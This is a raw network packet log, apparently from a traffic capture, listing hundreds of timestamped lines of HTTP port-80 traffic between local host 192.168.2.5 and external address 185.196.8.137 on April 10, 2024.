Apr 10, 2024 10:24:11.399184942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399236917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399236917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399286985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399286985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399286985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399337053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399337053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399365902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399439096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399439096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399439096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399507999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399507999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399703026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399765015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399765015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399765015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399827957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399827957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399888039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399888039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399888039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399947882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399947882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399949074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399992943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399992943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400033951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400048971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400068045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400075912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400110006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400147915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400147915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400166988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400213003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400248051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400271893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400345087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400345087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400345087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400404930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400404930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400405884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400473118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400473118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400473118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400541067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400541067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400541067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400600910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400715113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400715113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400767088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400767088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400829077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400829077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400830030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400907040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400957108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.400957108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401027918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401027918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401027918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401087999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401087999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401175022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401175022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401249886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401249886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401249886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401298046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401298046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401379108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401379108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401429892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401431084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401454926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401493073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401493073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401535988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401535988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401592970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401592970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401592970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401659012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401659012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401675940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401901007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401901007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401966095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401966095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.401966095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402035952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402035952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402035952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402101994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402101994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402154922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402154922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402154922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402221918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402221918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402221918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402281046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402281046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402281046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402349949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402349949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402349949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402395010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402395010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402445078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402445078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402496099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402496099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402545929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402545929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402546883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402590990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402590990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402657986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402657986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402657986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402704954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402862072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402862072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402909994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402909994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402937889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402997971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402997971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.402997971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403068066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403093100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403139114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403139114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403199911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403199911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403249025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403301001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403301001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403352022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403352022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403400898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403439999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403496981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403496981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403496981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403542042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403542042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403583050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403583050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403634071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403634071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403696060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403696060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403696060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403754950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403923988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403994083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403994083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.403994083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404052019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404052019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404052019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404126883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404126883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404126883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404206991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404206991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404206991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404248953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404248953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404320002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404320002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404320002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404382944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404382944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404382944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404455900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404455900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404455900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404508114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404508114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404560089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404560089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404560089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404623985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404623985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404623985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404690981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404690981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404690981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404755116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404755116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404755116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404863119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404911995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404911995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404982090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404982090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.404982090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405050039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405523062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405523062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405592918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405592918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405592918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405680895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405680895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405755043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405755043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405817032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405817032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405817032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405884981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405884981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405884981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.405950069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406196117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406197071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406197071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406270981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406270981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406270981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406338930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406338930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406338930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406404972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406404972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406404972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406471014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406471014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406552076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406599045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406599045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406635046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406729937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406729937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406796932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406796932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406796932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406899929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406899929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406943083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.406961918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407005072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407042027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407097101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407097101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407135963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407135963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407150030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407165051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407397032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407397032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407454967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407489061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407489061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407506943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407531977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407551050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407605886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407605886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407633066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407669067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407669067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407712936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407712936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407748938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407903910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407903910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407943010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407943010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.407989025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408006907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408094883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408094883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408124924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408170938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408170938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408241034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408360958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408360958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408360958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408433914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408433914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408471107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408514977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408514977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408540964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408615112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408616066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408616066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408647060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408729076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408729076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408729076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408763885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408782005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408833981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408833981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.408857107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409068108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409068108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409105062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409105062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409154892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409154892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409209967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409209967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409250975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409321070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409321070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409321070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409342051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409416914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409418106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409418106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409446955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409482956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409600019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409600019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409657955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409657955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409670115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409694910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409791946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409909010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.409909010 CEST	49718	80	192.168.2.5	185.196.8.137
